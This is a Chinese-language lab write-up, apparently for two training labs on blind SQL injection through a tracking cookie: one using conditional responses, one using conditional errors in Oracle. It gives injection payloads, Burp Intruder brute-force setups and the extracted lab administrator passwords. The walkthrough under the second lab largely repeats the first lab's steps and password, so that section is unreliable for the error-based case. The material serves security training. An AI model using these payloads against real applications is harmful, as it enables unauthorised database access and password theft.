09 实验室带有条件响应的盲 SQL 注入没有解决
描述
本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
不返回 SQL 查询的结果,也不显示任何错误消息。但是,如果查询返回任何行,应用程序会在页面中包含“欢迎回来”消息。
数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。
要解决实验室,请以administrator用户身份登录。
进入实验室
解决方案
- 访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。为简单起见,假设 cookie 的原始值为TrackingId=xyz。
- 修改TrackingIdcookie,将其更改为:TrackingId=xyz' AND '1'='1。验证响应中是否显示“欢迎回来”消息。
- 现在将其更改为:TrackingId=xyz' AND '1'='2。验证“欢迎回来”消息没有出现在响应中。这演示了如何测试单个布尔条件并推断结果。
- 现在将其更改为:TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a。验证条件是否为真,确认有一个名为 的表users。
- 现在将其更改为:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a。验证条件是否为真,确认存在名为 的用户administrator。
- 下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a。此条件应为真,确认密码长度大于 1 个字符。
- 发送一系列后续值来测试不同的密码长度。发送:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a。然后发送:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长。
- 确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
- 在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。
- 在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a。这使用该SUBSTRING()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。
- a在 cookie 值中 的最后一个字符周围放置负载位置标记。为此,只需选择a,然后单击“添加 §”按钮。然后,您应该看到以下 cookie 值(注意负载位置标记):TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
- 要在每个位置测试字符,您需要在您定义的负载位置发送合适的负载。您可以假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.
- 为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。
- 通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来发起攻击。
- 查看攻击结果,找出第一个位置的字符值。您应该会在结果中看到一个名为“欢迎回来”的列。其中一行应在此列中打勾。该行显示的有效负载是第一个位置的字符值。
- 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。为此,请返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
- 启动修改后的攻击,查看结果,并注意第二个偏移处的字符。
- 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码。
- 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。
在题目的描述中得知数据库对cookie 值进行 SQL 查询,当sql语句执行成功时,会显示Welcome back!欢迎回来
1 确认参数易受盲注SQL注入的影响
在测试基于盲注的SQL注入时要做的第一件事是找到一个真实用例,强制一个正确用例看应用程序如何响应,然后强制一个虚假用例并查看应用程序如何响应。如果应用程序根据真实用例和虚假用例做出不同响应,那么我们就可以使用基于盲注的SQL注入来推断数据库中的内容。所以我们要做的第一件事是确认参数易受盲注SQL注入的影响,在实验中的参数变量是TrackingId
设想我们的查询方式如下:
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed'
判断条件如下:
-->如果查询的TrackingId 值存在,则查询会返回一个值,然后我们会收到一条welcome back消息
-->但是如果查询的TrackingId 值不存在,则查询不返回所有,然后我们没有收到welcome back消息
image-20210801113630688
在执行错误的时候不会显示
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed''
多一个单引号引发错误
image-20210801113830531
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='1'
-->where子句的结果将会永远评估为真,将导致显示welcome back
' and '1'='1返回welcome back,说明SQL语句拼接成功执行
image-20210801152128666
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='2'
-->where子句的结果将会永远评估为假,导致整个查询返回为假,将导致不会显示welcome back
' and '1'='2不会返回welcome back,说明SQL语句拼接成功执行
image-20210801152205866
2 确认用户表users存在
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (select 'x' from users LIMIT 1)='x'--'
-->如果为真,返回welcome back,说明users表存在
--》否则,users表不存在
' and (select 'x' from users LIMIT 1)='x'--,返回了welcome back,说明users表存在
image-20210801152912341
3 确定用户名administrator字段值存在
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator')='a'--'
-->如果为真,返回welcome back,说明administrator的用户名存在
--》否则,administrator的用户名不存在
' and (SELECT 'a' FROM users WHERE username='administrator')='a'--,返回了welcome back,说明存在名为administrator的用户名存在
image-20210801153549743
4 确定administrator用户的密码中有多少个字符(长度)
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--'
-->如果为真,返回welcome back,确认密码长度大于 1 个字符。
--》否则,确认密码长度0个字符
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--,返回了welcome back,确认密码长度大于 1 个字符
image-20210801154024172
发送一系列后续值来测试不同的密码长度。
发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>10)='a'--,返回了welcome back,确认密码长度大于 1 0个字符。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--,没有返回welcome back,确认密码长度在 1 0-20个字符之间。
image-20210801154300848
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>15)='a'--,返回welcome back,确认密码长度在 15-20个字符之间。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>18)='a'--,返回welcome back,确认密码长度在 19-20个字符之间。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a'--,返回welcome back,确认密码长度20个字符。
可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长,如果长度很长,可以使用Intruder功能进行遍历。
5 测试每个位置的字符以确定其值。
SUBSTRING(password,m,n)函数解释
password是字段名,m是检索的起始位,最左边从1开始,n是数量。
如果password='sjhfgjhsdf',那么SUBSTRING(password,1,1)就是's',SUBSTRING(password,2,1)就是'j'
这涉及大量请求,因此需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
单个字符检测思路如下
测试密码第一位是否是字符a
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--'
-->如果为真,返回welcome back,确认密码长度大于 1 个字符。
--》否则,确认密码长度0个字符
' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--,没有返回welcome back,确认密码第一个字符不是a
在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。
image-20210801155127701
对a值添加标记
image-20210801155237390
假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 和A-Z范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.
image-20210801155735950
点击开始攻击
image-20210801155904456
为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。
image-20210801160001853
得到第一个字符是1
image-20210801160038969
6 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。
为此,返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:'+and+(SELECT+SUBSTRING(password,2,1)+FROM+users+WHERE+username%3d'administrator')%3d'a'--
得到第二位字符是m
image-20210801160535637
7 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码
OR super 7 使用burpsuite的Cluster bomb爆破
将决定取字符位置的数据添加变量
image-20210801161117845
攻击类型选择Cluster bomb
image-20210801161151950
选择payloads,payload1设置为1-20
image-20210801161233802
payload2设置为0-9和a-z和A-Z
image-20210801161321982
然后options中添加Grep-Match
image-20210801161401912
开始攻击
image-20210801161459163
将结果整理得到密码
1mwa6880vdcepua8566j
8 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。
image-20210801161653485
10 带有条件错误的盲 SQL 注入
描述
本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行而做出任何不同的响应。如果 SQL 查询导致错误,则应用程序返回自定义错误消息。
数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。
要解决实验室,请以administrator用户身份登录。
解决方案
1.访问店铺首页,使用Burp Suite拦截修改包含TrackingId的cookie请求。
image-20210801223206824
2.修改TrackingId,为其附加一个单引号:TrackingId=bhpYlLKIavhTKuTR'. 验证收到错误消息。
image-20210801223258153
3.现在将其更改为两个引号:TrackingId=bhpYlLKIavhTKuTR''. 验证错误消失。这表明语法错误(在本例中为未关闭的引号)对响应具有可检测的影响。
image-20210801223457901
4.您现在需要确认服务器将注入解释为 SQL 查询,即错误是 SQL 语法错误而不是任何其他类型的错误。为此,您首先需要使用有效的 SQL 语法构造一个子查询。尝试提交:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+'')||'. 在这种情况下,请注意查询仍然无效。这可能是由于数据库类型 - 尝试在查询中指定一个可预测的表名:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+dual)||'。由于您不再收到错误消息,这表明目标可能正在使用 Oracle 数据库,这需要所有SELECT语句显式指定表名
TrackingId=bhpYlLKIavhTKuTR'||(SELECT+'')||'
image-20210801223656385
TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+dual)||'
image-20210801223837044
5.既然您已经制作了看似有效的查询,请尝试提交无效查询,同时仍保留有效的 SQL 语法。例如,尝试查询一个不存在的表名:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+ch4nge)||'。这一次,返回一个错误。这种行为强烈表明您的注入正在被后端作为 SQL 查询处理。
image-20210801223922336
6.只要确保始终注入语法上有效的 SQL 查询,就可以使用此错误响应来推断有关数据库的关键信息。例如,为了验证该users表是否存在,请发送以下查询:TrackingId=bhpYlLKIavhTKuTR'||(SELECT '' FROM users WHERE ROWNUM = 1)||'. 由于此查询未返回错误,因此您可以推断此表确实存在。请注意,WHERE ROWNUM = 1这里的条件很重要,以防止查询返回多于一行,这会破坏我们的串联。
image-20210801224142781
7.您还可以利用此行为来测试条件。首先,提交以下查询:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'. 验证收到错误消息。
image-20210801224509518
8.现在将其更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'。验证错误是否消失。这表明您可以根据特定条件的真实性有条件地触发错误。该CASE语句测试一个条件,如果条件为真,则计算为一个表达式,如果条件为假,则计算为另一个表达式。前一个表达式包含被零除,这会导致错误。在这种情况下,两个有效负载测试条件1=1和1=2,当条件为true时接收到错误。
a
9.您可以使用此行为来测试表中是否存在特定条目。例如,使用以下查询来检查用户名是否administrator存在:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。验证条件是否为真(接收到错误),确认存在名为 的用户administrator。
image-20210801224930055
10.下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'。此条件应为真,确认密码长度大于 1 个字符。
image-20210801225039704
11.发送一系列后续值来测试不同的密码长度。发送:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。然后发送:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当错误消失时),您就确定了密码的长度,实际上是 20 个字符长。
image-20210801225121651
12.确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
13.在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。
14.在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。这使用该SUBSTR()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。
image-20210801225222938
15.使用Cluster bomb模式进行爆破
a在 cookie 值中 的最后一个字符周围放置负载位置标记。为此,只需选择a,然后单击“添加 §”按钮。然后,您应该看到以下 cookie 值(注意负载位置标记):TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
image-20210801225421216
16.要在每个位置测试字符,您需要在您定义的负载位置发送合适的负载。转到 Payloads 选项卡,payload1位置使用数字1-21,step为1,最小长度1,最大长度2;payload2位置选择“brute forcer”,然后把最小最大长度设置为1。您可以使用“从列表添加”下拉菜单轻松选择这些.
image-20210801230236364
image-20210801225704001
17.通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来发起攻击。
18.查看攻击结果,找出第一个位置的字符值。发生错误时,应用程序返回 HTTP 500 状态代码,正常情况下返回 HTTP 200 状态代码。Intruder 结果中的“Status”列显示了 HTTP 状态代码,因此您可以轻松找到该列中带有 500 的行。
image-20210801234926927
密码r0eao1nxo838s0hpw0q0
22.在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。
image-20210801235120268
根据实验描述可以知道该实验和上一个的差别在于判断条件从正确响应welcome back变成正确无不同响应,错误会看到错误
1 确认参数易受盲注SQL注入的影响
在测试基于盲注的SQL注入时要做的第一件事是找到一个真实用例,强制一个正确用例看应用程序如何响应,然后强制一个虚假用例并查看应用程序如何响应。如果应用程序根据真实用例和虚假用例做出不同响应,那么我们就可以使用基于盲注的SQL注入来推断数据库中的内容。所以我们要做的第一件事是确认参数易受盲注SQL注入的影响,在实验中的参数变量是TrackingId
设想我们的查询方式如下:
select tracking-id from tracking-table where TrackingId = 'JoLC8BabJWZtfvY0'
判断条件如下:
-->如果查询的TrackingId 值存在,则查询结果不会有什么特殊结果
-->但是如果查询的TrackingId 值不存在,则查询结果同样不会有什么特殊结果
-->但是如果我们输入的sql语句有错误,会响应500 Internal Server Error
image-20210801113630688
在执行错误的时候不会显示
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and SELECT IF(1,(select 'x' from users LIMIT 1)='x','a')='a'--'
多一个单引号引发错误
image-20210801113830531
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='1'
-->where子句的结果将会永远评估为真,将导致显示welcome back
' and '1'='1返回welcome back,说明SQL语句拼接成功执行
image-20210801152128666
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='2'
-->where子句的结果将会永远评估为假,导致整个查询返回为假,将导致不会显示welcome back
' and '1'='2不会返回welcome back,说明SQL语句拼接成功执行
image-20210801152205866
2 确认用户表users存在
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (select 'x' from users LIMIT 1)='x'--'
-->如果为真,返回welcome back,说明users表存在
--》否则,users表不存在
' and (select 'x' from users LIMIT 1)='x'--,返回了welcome back,说明users表存在
image-20210801152912341
3 确定用户名administrator字段值存在
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator')='a'--'
-->如果为真,返回welcome back,说明administrator的用户名存在
--》否则,administrator的用户名不存在
' and (SELECT 'a' FROM users WHERE username='administrator')='a'--,返回了welcome back,说明存在名为administrator的用户名存在
image-20210801153549743
4 确定administrator用户的密码中有多少个字符(长度)
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--'
-->如果为真,返回welcome back,确认密码长度大于 1 个字符。
--》否则,确认密码长度0个字符
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--,返回了welcome back,确认密码长度大于 1 个字符
image-20210801154024172
发送一系列后续值来测试不同的密码长度。
发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>10)='a'--,返回了welcome back,确认密码长度大于 1 0个字符。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--,没有返回welcome back,确认密码长度在 1 0-20个字符之间。
image-20210801154300848
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>15)='a'--,返回welcome back,确认密码长度在 15-20个字符之间。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>18)='a'--,返回welcome back,确认密码长度在 19-20个字符之间。
然后发送:
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a'--,返回welcome back,确认密码长度20个字符。
可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长,如果长度很长,可以使用Intruder功能进行遍历。
5 测试每个位置的字符以确定其值。
SUBSTRING(password,m,n)函数解释
password是字段名,m是检索的起始位,最左边从1开始,n是数量。
如果password='sjhfgjhsdf',那么SUBSTRING(password,1,1)就是's',SUBSTRING(password,2,1)就是'j'
这涉及大量请求,因此需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
单个字符检测思路如下
测试密码第一位是否是字符a
select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--'
-->如果为真,返回welcome back,确认密码长度大于 1 个字符。
--》否则,确认密码长度0个字符
' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--,没有返回welcome back,确认密码第一个字符不是a
在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。
image-20210801155127701
对a值添加标记
image-20210801155237390
假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 和A-Z范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.
image-20210801155735950
点击开始攻击
image-20210801155904456
为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。
image-20210801160001853
得到第一个字符是1
image-20210801160038969
6 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。
为此,返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:'+and+(SELECT+SUBSTRING(password,2,1)+FROM+users+WHERE+username%3d'administrator')%3d'a'--
得到第二位字符是m
image-20210801160535637
7 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码
OR super 7 使用burpsuite的Cluster bomb爆破
将决定取字符位置的数据添加变量
image-20210801161117845
攻击类型选择Cluster bomb
image-20210801161151950
选择payloads,payload1设置为1-20
image-20210801161233802
payload2设置为0-9和a-z和A-Z
image-20210801161321982
然后options中添加Grep-Match
image-20210801161401912
开始攻击
image-20210801161459163
将结果整理得到密码
1mwa6880vdcepua8566j
8 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。
image-20210801161653485